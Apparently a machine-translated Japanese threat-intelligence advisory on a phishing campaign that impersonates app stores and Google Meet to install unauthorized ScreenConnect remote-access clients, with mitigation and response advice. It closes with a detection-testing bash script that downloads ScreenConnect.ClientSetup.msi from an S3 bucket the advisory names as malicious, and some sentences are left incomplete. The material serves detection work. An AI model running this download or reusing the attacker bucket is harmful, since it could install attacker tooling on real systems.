アプリストアをテーマにしたフィッシングによるScreenConnectの大規模な拡散

要約

大規模なフィッシングキャンペーンが、高度なソーシャルエンジニアリング手法を使用して、許可されていないConnectWise ScreenConnectクライアントを展開しています。攻撃者は、Microsoft Store、Apple App Store、Google Meetなどの信頼されたサービスを装い、動的なウェブコンテンツや偽の更新プロンプトを通じて攻撃を実行します。一度インストールされると、RMMソフトウェアは脅威アクターに、侵害されたシステムへの永続的なリモートアクセスを与えます。

調査

LevelBlue OpsCTIチームは、偽のアップデートフィッシングフレームワークと再利用されたインフラストラクチャの分析を通じて、このキャンペーンを発見しました。研究者たちは、一貫したディレクトリ構造、繰り返されるHTTPリソースハッシュ、および潜在的な被害者をプロファイルするために使用されたAI支援スクリプトを特定しました。調査では、リアルタイムのテレメトリーと感染報告にTelegram Bot APIの悪用も明らかになりました。

緩和策

組織は、許可されていないRMMソフトウェアの検出を優先し、Amazon S3やCloudflare R2などの不慣れなパブリッククラウドサービスからの実行可能なダウンロードを監視するべきです。ブランド誤認と許可されていないTelegram Bot APIトラフィックを識別するためのコントロールも推奨されます。定期的なエンドポイント在庫レビューは、不正なScreenConnectのインストールや既存の侵害を発見するのに役立ちます。

対応

侵害が疑われる場合、影響を受けたシステムは直ちに隔離されるべきであり、許可されていないリレーインスタンスと通信するScreenConnectクライアントは調査されるべきです。ネットワークログは、既知のフィッシングドメインやパブリッククラウドストレージエンドポイントへの疑わしい接続をレビューする必要があります。対応者はまた、外部ソースからファイルをダウンロードする msiexec.exe またはPowerShellによって起動されたプロセスを検査するべきです。

シミュレーションの実行

前提条件：テレメトリー＆ベースラインの事前チェックがパスしている必要があります。

理由：このセクションでは、検出ルールをトリガーするために設計された標的手法（TTP）の正確な実行を詳細に説明します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。抽象的または無関係な例は誤診につながります。

• 攻撃の物語とコマンド： 攻撃者はフィッシングキャンペーンを確立しました。ファイルベースのウイルス対策による検出を回避するために、公認のソフトウェア配布を模した公的なAWS S3バケットに正当なリモートアクセスツール（ScreenConnect）をホストしています。攻撃者は被害者にインストーラーをダウンロードさせます。このアクションがトリガーとなり、 GetObject イベントがAWS CloudTrailで発生し、特定の悪意のあるバケット eobtdk.s3.us-east-2.amazonaws.com と特定のファイル名 ScreenConnect.ClientSetup.msi.

• リグレッションテストスクリプト： [Note: Since we cannot interact with real malicious buckets, this script simulates the リクエスト このバケットが存在した場合にログエントリを生成するリクエスト]。

  #!/bin/bash
  # CloudTrail検出ルールをトリガーするシミュレーションスクリプト
  # ツールをダウンロードするために攻撃者が行うAPI呼び出しを模倣します
  
  echo "[+] シミュレーション開始: 悪意のあるS3からのScreenConnectダウンロード..."
  
  # AWS CLIを使用してGETリクエストを試みます。
  # バケットが存在しなくても、'リクエスト'の試みがCloudTrailイベントを生成します
  # バケットが設定された実際の環境で。
  
  aws s3 cp s3://eobtdk/ScreenConnect.ClientSetup.msi . --region us-east-2
  
  echo "[+] シミュレーションコマンドが送信されました。CloudTrailで'eobtdk.s3.us-east-2.amazonaws.com'をターゲットにしたGetObjectイベントを確認してください。"

• クリーンアップコマンド：

  # シミュレーション中にダウンロードされたファイルを削除
  rm -f ScreenConnect.ClientSetup.msi